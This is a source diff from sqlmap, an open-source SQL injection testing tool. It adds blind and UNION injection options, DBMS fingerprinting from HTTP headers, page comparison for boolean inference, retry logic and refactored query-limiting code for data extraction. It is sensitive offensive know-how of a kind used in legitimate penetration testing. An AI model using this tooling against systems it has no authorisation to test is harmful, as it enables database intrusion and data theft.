|
||||
action="store_true",
|
||||
help="Test for Time based blind SQL injection")
|
||||
|
||||
techniques.add_option("--union-test", dest="unionTest",
|
||||
action="store_true",
|
||||
help="Test for UNION query (inband) SQL injection")
|
||||
|
||||
techniques.add_option("--union-use", dest="unionUse",
|
||||
action="store_true",
|
||||
help="Use the UNION query (inband) SQL injection "
|
||||
"to retrieve the queries output. No "
|
||||
"need to go blind")
|
||||
|
||||
|
||||
# Fingerprint options
|
||||
fingerprint = OptionGroup(parser, "Fingerprint")
|
||||
|
||||
fingerprint.add_option("-f", "--fingerprint", dest="extensiveFp",
|
||||
action="store_true",
|
||||
help="Perform an extensive database fingerprint")
|
||||
help="Perform an extensive DBMS version fingerprint")
|
||||
|
||||
|
||||
# Enumeration options
|
||||
enumeration = OptionGroup(parser, "Enumeration", "These options can "
|
||||
@@ -124,6 +202,10 @@ def cmdLineParser():
|
||||
action="store_true",
|
||||
help="Retrieve DBMS current database")
|
||||
|
||||
enumeration.add_option("--is-dba", dest="isDba",
|
||||
action="store_true",
|
||||
help="Detect if the DBMS current user is DBA")
|
||||
|
||||
enumeration.add_option("--users", dest="getUsers", action="store_true",
|
||||
help="Enumerate DBMS users")
|
||||
|
||||
@@ -143,11 +225,11 @@ def cmdLineParser():
|
||||
|
||||
enumeration.add_option("--columns", dest="getColumns", action="store_true",
|
||||
help="Enumerate DBMS database table columns "
|
||||
"(req: -T, -D)")
|
||||
"(req:-T opt:-D)")
|
||||
|
||||
enumeration.add_option("--dump", dest="dumpTable", action="store_true",
|
||||
help="Dump DBMS database table entries "
|
||||
"(req: -T, -D opt: -C, --start, --stop)")
|
||||
"(req: -T, opt: -D, -C, --start, --stop)")
|
||||
|
||||
enumeration.add_option("--dump-all", dest="dumpAll", action="store_true",
|
||||
help="Dump all DBMS databases tables entries")
|
||||
@@ -182,6 +264,7 @@ def cmdLineParser():
|
||||
action="store_true",
|
||||
help="Prompt for an interactive SQL shell")
|
||||
|
||||
|
||||
# File system options
|
||||
filesystem = OptionGroup(parser, "File system access", "These options "
|
||||
"can be used to access the back-end database "
|
||||
@@ -195,6 +278,7 @@ def cmdLineParser():
|
||||
filesystem.add_option("--write-file", dest="wFile",
|
||||
help="Write to a specific OS file (not yet available)")
|
||||
|
||||
|
||||
# Takeover options
|
||||
takeover = OptionGroup(parser, "Operating system access", "This "
|
||||
"option can be used to access the back-end "
|
||||
@@ -208,27 +292,15 @@ def cmdLineParser():
|
||||
"writable directory within the web "
|
||||
"server document root for the moment)")
|
||||
|
||||
|
||||
# Miscellaneous options
|
||||
miscellaneous = OptionGroup(parser, "Miscellaneous")
|
||||
|
||||
miscellaneous.add_option("--union-test", dest="unionTest",
|
||||
action="store_true",
|
||||
help="Test for UNION SELECT (inband) SQL injection")
|
||||
|
||||
miscellaneous.add_option("--union-use", dest="unionUse",
|
||||
action="store_true",
|
||||
help="Use the UNION SELECT (inband) SQL injection "
|
||||
"to retrieve the queries output. No "
|
||||
"need to go blind")
|
||||
|
||||
miscellaneous.add_option("--eta", dest="eta", action="store_true",
|
||||
help="Retrieve each query output length and "
|
||||
"calculate the estimated time of arrival "
|
||||
"in real time")
|
||||
|
||||
miscellaneous.add_option("-v", dest="verbose", type="int",
|
||||
help="Verbosity level: 0-5 (default 0)")
|
||||
|
||||
miscellaneous.add_option("--update", dest="updateAll", action="store_true",
|
||||
help="Update sqlmap to the latest stable version")
|
||||
|
||||
@@ -236,17 +308,17 @@ def cmdLineParser():
|
||||
help="Save and resume all data retrieved "
|
||||
"on a session file")
|
||||
|
||||
miscellaneous.add_option("-c", dest="configFile",
|
||||
help="Load options from a configuration INI file")
|
||||
|
||||
miscellaneous.add_option("--save", dest="saveCmdline", action="store_true",
|
||||
help="Save options on a configuration INI file")
|
||||
|
||||
miscellaneous.add_option("--batch", dest="batch", action="store_true",
|
||||
help="Never ask for user input, use the default behaviour")
|
||||
|
||||
|
||||
parser.add_option_group(target)
|
||||
parser.add_option_group(request)
|
||||
parser.add_option_group(injection)
|
||||
parser.add_option_group(techniques)
|
||||
parser.add_option_group(fingerprint)
|
||||
parser.add_option_group(enumeration)
|
||||
parser.add_option_group(filesystem)
|
||||
@@ -255,8 +327,8 @@ def cmdLineParser():
|
||||
|
||||
(args, _) = parser.parse_args()
|
||||
|
||||
if not args.url and not args.googleDork and not args.configFile and not args.updateAll:
|
||||
errMsg = "missing a mandatory parameter ('-u', '-g', '-c' or '--update'), "
|
||||
if not args.url and not args.list and not args.googleDork and not args.configFile and not args.updateAll:
|
||||
errMsg = "missing a mandatory parameter ('-u', '-l', '-g', '-c' or '--update'), "
|
||||
errMsg += "-h for help"
|
||||
parser.error(errMsg)
|
||||
|
||||
|
||||
@@ -79,15 +79,18 @@ def configFileParser(configFile):
|
||||
config = ConfigParser()
|
||||
config.read(configFile)
|
||||
|
||||
if not config.has_section("Request"):
|
||||
raise NoSectionError, "Request in the configuration file is mandatory"
|
||||
if not config.has_section("Target"):
|
||||
raise NoSectionError, "Target in the configuration file is mandatory"
|
||||
|
||||
if not config.has_option("Request", "url") and not config.has_option("Request", "googleDork"):
|
||||
condition = not config.has_option("Target", "url")
|
||||
condition &= not config.has_option("Target", "list")
|
||||
condition &= not config.has_option("Target", "googleDork")
|
||||
|
||||
if condition:
|
||||
errMsg = "missing a mandatory option in the configuration "
|
||||
errMsg += "file (url or googleDork)"
|
||||
errMsg += "file (url, list or googleDork)"
|
||||
raise sqlmapMissingMandatoryOptionException, errMsg
|
||||
|
||||
|
||||
for family, optionData in optDict.items():
|
||||
for option, data in optionData.items():
|
||||
boolean = False
|
||||
|
||||
96
lib/parse/handler.py
Normal file
96
lib/parse/handler.py
Normal file
@@ -0,0 +1,96 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from xml.sax.handler import ContentHandler
|
||||
|
||||
from lib.core.common import sanitizeStr
|
||||
from lib.core.data import kb
|
||||
|
||||
|
||||
class FingerprintHandler(ContentHandler):
|
||||
"""
|
||||
This class defines methods to parse and extract information from
|
||||
the given DBMS banner based upon the data in XML file
|
||||
"""
|
||||
|
||||
def __init__(self, banner, info):
|
||||
self.__banner = sanitizeStr(banner)
|
||||
|
||||
self.__regexp = None
|
||||
self.__match = None
|
||||
self.__dbmsVersion = None
|
||||
self.__techVersion = None
|
||||
self.__info = info
|
||||
|
||||
|
||||
def __feedInfo(self, key, value):
|
||||
value = sanitizeStr(value)
|
||||
|
||||
if value in ( None, "None" ):
|
||||
return
|
||||
|
||||
if key in ( "dbmsVersion" ):
|
||||
self.__info[key] = value
|
||||
else:
|
||||
if key not in self.__info.keys():
|
||||
self.__info[key] = set()
|
||||
|
||||
for v in value.split("|"):
|
||||
self.__info[key].add(v)
|
||||
|
||||
|
||||
def startElement(self, name, attrs):
|
||||
if name == "regexp":
|
||||
self.__regexp = sanitizeStr(attrs.get("value"))
|
||||
self.__match = re.search(self.__regexp, self.__banner, re.I | re.M)
|
||||
|
||||
if name == "info" and self.__match:
|
||||
self.__feedInfo("type", attrs.get("type"))
|
||||
self.__feedInfo("distrib", attrs.get("distrib"))
|
||||
self.__feedInfo("release", attrs.get("release"))
|
||||
self.__feedInfo("codename", attrs.get("codename"))
|
||||
|
||||
self.__dbmsVersion = sanitizeStr(attrs.get("dbms_version"))
|
||||
self.__techVersion = sanitizeStr(attrs.get("tech_version"))
|
||||
self.__sp = sanitizeStr(attrs.get("sp"))
|
||||
|
||||
if self.__dbmsVersion.isdigit():
|
||||
self.__feedInfo("dbmsVersion", self.__match.group(int(self.__dbmsVersion)))
|
||||
|
||||
if self.__techVersion.isdigit():
|
||||
self.__feedInfo("technology", "%s %s" % (attrs.get("technology"), self.__match.group(int(self.__techVersion))))
|
||||
else:
|
||||
self.__feedInfo("technology", attrs.get("technology"))
|
||||
|
||||
if self.__sp.isdigit():
|
||||
self.__feedInfo("sp", "Service Pack %s" % self.__match.group(int(self.__sp)))
|
||||
|
||||
self.__regexp = None
|
||||
self.__match = None
|
||||
self.__dbmsVersion = None
|
||||
self.__techVersion = None
|
||||
70
lib/parse/headers.py
Normal file
70
lib/parse/headers.py
Normal file
@@ -0,0 +1,70 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from xml.sax import parse
|
||||
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
from lib.parse.handler import FingerprintHandler
|
||||
|
||||
|
||||
def headersParser(headers):
|
||||
"""
|
||||
This function calls a class that parses the input HTTP headers to
|
||||
fingerprint the back-end database management system operating system
|
||||
and the web application technology
|
||||
"""
|
||||
|
||||
# It is enough to parse the headers on first four HTTP responses
|
||||
if kb.headersCount > 3:
|
||||
return
|
||||
|
||||
kb.headersCount += 1
|
||||
|
||||
topHeaders = {
|
||||
"cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"microsoftsharepointteamservices": "%s/sharepoint.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"server": "%s/server.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"servlet-engine": "%s/servlet.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"set-cookie": "%s/cookie.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"x-aspnet-version": "%s/x-aspnet-version.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
"x-powered-by": "%s/x-powered-by.xml" % paths.SQLMAP_XML_BANNER_PATH,
|
||||
}
|
||||
|
||||
for header in headers:
|
||||
if header in topHeaders.keys():
|
||||
value = headers[header]
|
||||
xmlfile = topHeaders[header]
|
||||
|
||||
checkFile(xmlfile)
|
||||
|
||||
handler = FingerprintHandler(value, kb.headersFp)
|
||||
|
||||
parse(xmlfile, handler)
|
||||
parse(paths.GENERIC_XML, handler)
|
||||
@@ -31,6 +31,8 @@ from xml.sax.handler import ContentHandler
|
||||
|
||||
from lib.core.common import checkFile
|
||||
from lib.core.common import sanitizeStr
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
|
||||
|
||||
class htmlHandler(ContentHandler):
|
||||
@@ -61,15 +63,19 @@ class htmlHandler(ContentHandler):
|
||||
self.__match = None
|
||||
|
||||
|
||||
def htmlParser(page, xmlfile):
|
||||
def htmlParser(page):
|
||||
"""
|
||||
This function calls a class that parses the input HTML page to
|
||||
fingerprint the back-end database management system
|
||||
"""
|
||||
|
||||
xmlfile = paths.ERRORS_XML
|
||||
checkFile(xmlfile)
|
||||
page = sanitizeStr(page)
|
||||
handler = htmlHandler(page)
|
||||
parse(xmlfile, handler)
|
||||
|
||||
if handler.dbms and handler.dbms not in kb.htmlFp:
|
||||
kb.htmlFp.append(handler.dbms)
|
||||
|
||||
return handler.dbms
|
||||
|
||||
@@ -95,6 +95,14 @@ class queriesHandler(ContentHandler):
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.count = data
|
||||
|
||||
elif name == "comment":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.comment = data
|
||||
|
||||
elif name == "timedelay":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.timedelay = data
|
||||
|
||||
elif name == "substring":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.substring = data
|
||||
@@ -115,6 +123,10 @@ class queriesHandler(ContentHandler):
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.currentDb = data
|
||||
|
||||
elif name == "is_dba":
|
||||
data = sanitizeStr(attrs.get("query"))
|
||||
self.__queries.isDba = data
|
||||
|
||||
elif name == "inband":
|
||||
self.__inband = sanitizeStr(attrs.get("query"))
|
||||
self.__inband2 = sanitizeStr(attrs.get("query2"))
|
||||
|
||||
@@ -29,6 +29,7 @@ import re
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import paths
|
||||
from lib.parse.headers import headersParser
|
||||
from lib.parse.html import htmlParser
|
||||
|
||||
|
||||
@@ -51,7 +52,7 @@ def forgeHeaders(cookie, ua):
|
||||
return headers
|
||||
|
||||
|
||||
def parsePage(page):
|
||||
def parseResponse(page, headers):
|
||||
"""
|
||||
@param page: the page to parse to feed the knowledge base htmlFp
|
||||
(back-end DBMS fingerprint based upon DBMS error messages return
|
||||
@@ -63,13 +64,11 @@ def parsePage(page):
|
||||
like for DBMS error messages (ERRORS_XML), see above.
|
||||
"""
|
||||
|
||||
if not page:
|
||||
return
|
||||
if headers:
|
||||
headersParser(headers)
|
||||
|
||||
htmlParsed = htmlParser(page, paths.ERRORS_XML)
|
||||
|
||||
if htmlParsed and htmlParsed not in kb.htmlFp:
|
||||
kb.htmlFp.append(htmlParsed)
|
||||
if page:
|
||||
htmlParser(page)
|
||||
|
||||
# Detect injectable page absolute system path
|
||||
# NOTE: this regular expression works if the remote web application
|
||||
|
||||
106
lib/request/comparison.py
Normal file
106
lib/request/comparison.py
Normal file
@@ -0,0 +1,106 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import md5
|
||||
import re
|
||||
|
||||
from lib.core.data import conf
|
||||
|
||||
|
||||
def comparison(page, headers=None, content=False):
|
||||
regExpResults = None
|
||||
|
||||
# String to be excluded before calculating page hash
|
||||
if conf.eString and conf.eString in page:
|
||||
index = page.index(conf.eString)
|
||||
length = len(conf.eString)
|
||||
pageWithoutString = page[:index]
|
||||
pageWithoutString += page[index+length:]
|
||||
page = pageWithoutString
|
||||
|
||||
# Regular expression matches to be excluded before calculating page hash
|
||||
if conf.eRegexp:
|
||||
regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)
|
||||
|
||||
if regExpResults:
|
||||
for regExpResult in regExpResults:
|
||||
index = page.index(regExpResult)
|
||||
length = len(regExpResult)
|
||||
pageWithoutRegExp = page[:index]
|
||||
pageWithoutRegExp += page[index+length:]
|
||||
page = pageWithoutRegExp
|
||||
|
||||
# String to match in page when the query is valid
|
||||
if conf.string:
|
||||
if conf.string in page:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
# Regular expression to match in page when the query is valid
|
||||
if conf.regexp:
|
||||
if re.search(conf.regexp, page, re.I | re.M):
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
# By default it returns the page content MD5 hash
|
||||
if not conf.equalLines and not conf.contentLengths:
|
||||
return md5.new(page).hexdigest()
|
||||
|
||||
# TODO: go ahead from here
|
||||
|
||||
# Comparison algorithm based on Content-Length header value
|
||||
elif conf.contentLengths:
|
||||
minValue = conf.contentLengths[0] - 10
|
||||
maxValue = conf.contentLengths[1] + 10
|
||||
|
||||
if len(page) >= minValue and len(page) <= maxValue:
|
||||
return True
|
||||
|
||||
# Comparison algorithm based on page content's stable lines subset
|
||||
elif conf.equalLines:
|
||||
counter = 0
|
||||
trueLines = 0
|
||||
pageLines = page.split("\n")
|
||||
|
||||
for commonLine in conf.equalLines:
|
||||
if counter >= len(pageLines):
|
||||
break
|
||||
|
||||
if commonLine in pageLines:
|
||||
trueLines += 1
|
||||
|
||||
counter += 1
|
||||
|
||||
# TODO: just debug prints
|
||||
#print "trueLines:", trueLines, "len(conf.equalLines):", len(conf.equalLines)
|
||||
#print "result:", ( trueLines * 100 ) / len(conf.equalLines)
|
||||
|
||||
if ( trueLines * 100 ) / len(conf.equalLines) >= 98:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
@@ -24,10 +24,14 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
|
||||
|
||||
|
||||
import httplib
|
||||
import md5
|
||||
import re
|
||||
import socket
|
||||
import time
|
||||
import urllib2
|
||||
import urlparse
|
||||
import traceback
|
||||
|
||||
from lib.contrib import multipartpost
|
||||
from lib.core.convert import urlencode
|
||||
@@ -35,9 +39,10 @@ from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.exception import sqlmapConnectionException
|
||||
from lib.core.settings import RETRIES
|
||||
from lib.request.basic import forgeHeaders
|
||||
from lib.request.basic import parsePage
|
||||
|
||||
from lib.request.basic import parseResponse
|
||||
from lib.request.comparison import comparison
|
||||
|
||||
|
||||
class Connect:
|
||||
@@ -45,6 +50,12 @@ class Connect:
|
||||
This class defines methods used to perform HTTP requests
|
||||
"""
|
||||
|
||||
|
||||
@staticmethod
|
||||
def __getPageProxy(**kwargs):
|
||||
return Connect.getPage(**kwargs)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def getPage(**kwargs):
|
||||
"""
|
||||
@@ -52,6 +63,9 @@ class Connect:
|
||||
the target url page content
|
||||
"""
|
||||
|
||||
if conf.delay != None and isinstance(conf.delay, (int, float)) and conf.delay > 0:
|
||||
time.sleep(conf.delay)
|
||||
|
||||
url = kwargs.get('url', conf.url).replace(" ", "%20")
|
||||
get = kwargs.get('get', None)
|
||||
post = kwargs.get('post', None)
|
||||
@@ -60,6 +74,7 @@ class Connect:
|
||||
direct = kwargs.get('direct', False)
|
||||
multipart = kwargs.get('multipart', False)
|
||||
|
||||
page = ""
|
||||
cookieStr = ""
|
||||
requestMsg = "HTTP request:\n%s " % conf.method
|
||||
responseMsg = "HTTP response "
|
||||
@@ -82,6 +97,7 @@ class Connect:
|
||||
multipartOpener = urllib2.build_opener(multipartpost.MultipartPostHandler)
|
||||
conn = multipartOpener.open(url, multipart)
|
||||
page = conn.read()
|
||||
|
||||
return page
|
||||
|
||||
else:
|
||||
@@ -102,7 +118,9 @@ class Connect:
|
||||
requestMsg += " HTTP/1.1"
|
||||
|
||||
if cookie:
|
||||
cookie = urlencode(cookie).replace("%%", "%")
|
||||
# TODO: sure about encoding the cookie?
|
||||
#cookie = urlencode(cookie).replace("%%", "%")
|
||||
cookie = cookie.replace("%%", "%")
|
||||
|
||||
try:
|
||||
# Perform HTTP request
|
||||
@@ -110,6 +128,9 @@ class Connect:
|
||||
req = urllib2.Request(url, post, headers)
|
||||
conn = urllib2.urlopen(req)
|
||||
|
||||
# Reset the number of connection retries
|
||||
conf.retries = 0
|
||||
|
||||
if not req.has_header("Accept-Encoding"):
|
||||
requestHeaders += "\nAccept-Encoding: identity"
|
||||
|
||||
@@ -156,19 +177,43 @@ class Connect:
|
||||
status = e.msg
|
||||
responseHeaders = e.info()
|
||||
|
||||
except urllib2.URLError, e:
|
||||
except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine), _:
|
||||
tbMsg = traceback.format_exc()
|
||||
|
||||
if "URLError" in tbMsg or "error" in tbMsg:
|
||||
warnMsg = "unable to connect to the target url"
|
||||
|
||||
if conf.googleDork:
|
||||
elif "timeout" in tbMsg:
|
||||
warnMsg = "connection timed out to the target url"
|
||||
|
||||
elif "BadStatusLine" in tbMsg:
|
||||
warnMsg = "the target url responded with an unknown HTTP "
|
||||
warnMsg += "status code, try to force the HTTP User-Agent "
|
||||
warnMsg += "header with option --user-agent or -a"
|
||||
|
||||
if "BadStatusLine" not in tbMsg:
|
||||
warnMsg += " or proxy"
|
||||
|
||||
if conf.multipleTargets:
|
||||
warnMsg += ", skipping to next url"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
return None, None
|
||||
|
||||
if conf.retries < RETRIES:
|
||||
conf.retries += 1
|
||||
|
||||
warnMsg += ", sqlmap is going to retry the request"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
time.sleep(1)
|
||||
|
||||
return Connect.__getPageProxy(get=get, post=post, cookie=cookie, ua=ua, direct=direct, multipart=multipart)
|
||||
|
||||
else:
|
||||
warnMsg += " or proxy"
|
||||
raise sqlmapConnectionException, warnMsg
|
||||
|
||||
parsePage(page)
|
||||
parseResponse(page, responseHeaders)
|
||||
responseMsg += "(%s - %d):\n" % (status, code)
|
||||
|
||||
if conf.verbose <= 4:
|
||||
@@ -178,7 +223,7 @@ class Connect:
|
||||
|
||||
logger.log(8, responseMsg)
|
||||
|
||||
return page
|
||||
return page, responseHeaders
|
||||
|
||||
|
||||
@staticmethod
|
||||
@@ -221,14 +266,11 @@ class Connect:
|
||||
else:
|
||||
ua = conf.parameters["User-Agent"]
|
||||
|
||||
page = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
|
||||
page, headers = Connect.getPage(get=get, post=post, cookie=cookie, ua=ua)
|
||||
|
||||
if content:
|
||||
return page
|
||||
elif conf.string:
|
||||
if conf.string in page:
|
||||
return True
|
||||
return page, headers
|
||||
elif page and headers:
|
||||
return comparison(page, headers, content)
|
||||
else:
|
||||
return False
|
||||
else:
|
||||
return md5.new(page).hexdigest()
|
||||
|
||||
@@ -31,6 +31,7 @@ from lib.core.agent import agent
|
||||
from lib.core.common import cleanQuery
|
||||
from lib.core.common import dataToSessionFile
|
||||
from lib.core.common import expandAsteriskForColumns
|
||||
from lib.core.common import parseUnionPage
|
||||
from lib.core.common import readInput
|
||||
from lib.core.common import replaceNewlineTabs
|
||||
from lib.core.data import conf
|
||||
@@ -38,20 +39,14 @@ from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.core.settings import SECONDS
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.use import unionUse
|
||||
from lib.techniques.inference.blind import bisection
|
||||
from lib.techniques.blind.inference import bisection
|
||||
from lib.utils.resume import queryOutputLength
|
||||
from lib.utils.resume import resume
|
||||
|
||||
|
||||
def __getFieldsProxy(expression):
|
||||
_, _, _, expressionFields = agent.getFields(expression)
|
||||
expressionFieldsList = expressionFields.replace(", ", ",")
|
||||
expressionFieldsList = expressionFieldsList.split(",")
|
||||
|
||||
return expressionFields, expressionFieldsList
|
||||
|
||||
|
||||
def __goInference(payload, expression):
|
||||
start = time.time()
|
||||
|
||||
@@ -65,6 +60,10 @@ def __goInference(payload, expression):
|
||||
count, value = bisection(payload, expression, length=length)
|
||||
duration = int(time.time() - start)
|
||||
|
||||
if conf.eta and length:
|
||||
infoMsg = "retrieved: %s" % value
|
||||
logger.info(infoMsg)
|
||||
|
||||
infoMsg = "performed %d queries in %d seconds" % (count, duration)
|
||||
logger.info(infoMsg)
|
||||
|
||||
@@ -100,7 +99,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
||||
parameter through a bisection algorithm.
|
||||
"""
|
||||
|
||||
query = agent.prefixQuery(temp.inference)
|
||||
query = agent.prefixQuery(" %s" % temp.inference)
|
||||
query = agent.postfixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
count = None
|
||||
@@ -117,7 +116,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
||||
return output
|
||||
|
||||
if kb.dbmsDetected:
|
||||
expressionFields, expressionFieldsList = __getFieldsProxy(expression)
|
||||
_, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)
|
||||
|
||||
if len(expressionFieldsList) > 1:
|
||||
infoMsg = "the SQL query provided has more than a field. "
|
||||
@@ -168,8 +167,8 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
||||
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||
test = "n"
|
||||
else:
|
||||
message = "does the SQL query that you provide might "
|
||||
message += "return multiple entries? [Y/n] "
|
||||
message = "can the SQL query provided return "
|
||||
message += "multiple entries? [Y/n] "
|
||||
test = readInput(message, default="Y")
|
||||
|
||||
if not test or test[0] in ("y", "Y"):
|
||||
@@ -187,11 +186,11 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
||||
if not count or not count.isdigit():
|
||||
count = __goInference(payload, countedExpression)
|
||||
|
||||
if count.isdigit() and int(count) > 0:
|
||||
if count and count.isdigit() and int(count) > 0:
|
||||
count = int(count)
|
||||
|
||||
message = "the SQL query that you provide can "
|
||||
message += "return up to %d entries. How many " % count
|
||||
message = "the SQL query provided can return "
|
||||
message += "up to %d entries. How many " % count
|
||||
message += "entries do you want to retrieve?\n"
|
||||
message += "[a] All (default)\n[#] Specific number\n"
|
||||
message += "[q] Quit\nChoice: "
|
||||
@@ -229,49 +228,31 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
||||
|
||||
return None
|
||||
|
||||
elif count and not count.isdigit():
|
||||
warnMsg = "it was not possible to count the number "
|
||||
warnMsg += "of entries for the SQL query provided. "
|
||||
warnMsg += "sqlmap will assume that it returns only "
|
||||
warnMsg += "one entry"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
stopLimit = 1
|
||||
|
||||
elif ( not count or int(count) == 0 ):
|
||||
warnMsg = "the SQL query that you provided does "
|
||||
warnMsg += "not return any output"
|
||||
warnMsg = "the SQL query provided does not "
|
||||
warnMsg += "return any output"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
|
||||
warnMsg = "the SQL query that you provided does "
|
||||
warnMsg += "not return any output"
|
||||
warnMsg = "the SQL query provided does not "
|
||||
warnMsg += "return any output"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return None
|
||||
|
||||
for num in xrange(startLimit, stopLimit):
|
||||
limitedExpr = expression
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
limitStr = queries[kb.dbms].limit % (num, 1)
|
||||
limitedExpr += " %s" % limitStr
|
||||
|
||||
elif kb.dbms == "Oracle":
|
||||
limitStr = queries[kb.dbms].limit
|
||||
fromIndex = limitedExpr.index(" FROM ")
|
||||
untilFrom = limitedExpr[:fromIndex]
|
||||
fromFrom = limitedExpr[fromIndex+1:]
|
||||
limitedExpr = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
|
||||
limitedExpr = limitedExpr % fromFrom
|
||||
limitedExpr += "=%d" % (num + 1)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
if re.search(" ORDER BY ", limitedExpr, re.I):
|
||||
untilOrderChar = limitedExpr.index(" ORDER BY ")
|
||||
limitedExpr = limitedExpr[:untilOrderChar]
|
||||
|
||||
limitStr = queries[kb.dbms].limit
|
||||
fromIndex = limitedExpr.index(" FROM ")
|
||||
untilFrom = limitedExpr[:fromIndex]
|
||||
fromFrom = limitedExpr[fromIndex+1:]
|
||||
limitedExpr = limitedExpr.replace("SELECT ", (limitStr % 1), 1)
|
||||
limitedExpr = "%s WHERE %s " % (limitedExpr, expressionFieldsList[0])
|
||||
limitedExpr += "NOT IN (%s" % (limitStr % num)
|
||||
limitedExpr += "%s %s)" % (expressionFieldsList[0], fromFrom)
|
||||
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
|
||||
|
||||
output = __goInferenceFields(limitedExpr, expressionFields, expressionFieldsList, payload, expected)
|
||||
outputs.append(output)
|
||||
@@ -284,6 +265,7 @@ def __goInferenceProxy(expression, fromUser=False, expected=None):
|
||||
outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected)
|
||||
|
||||
returnValue = ", ".join([output for output in outputs])
|
||||
|
||||
else:
|
||||
returnValue = __goInference(payload, expression)
|
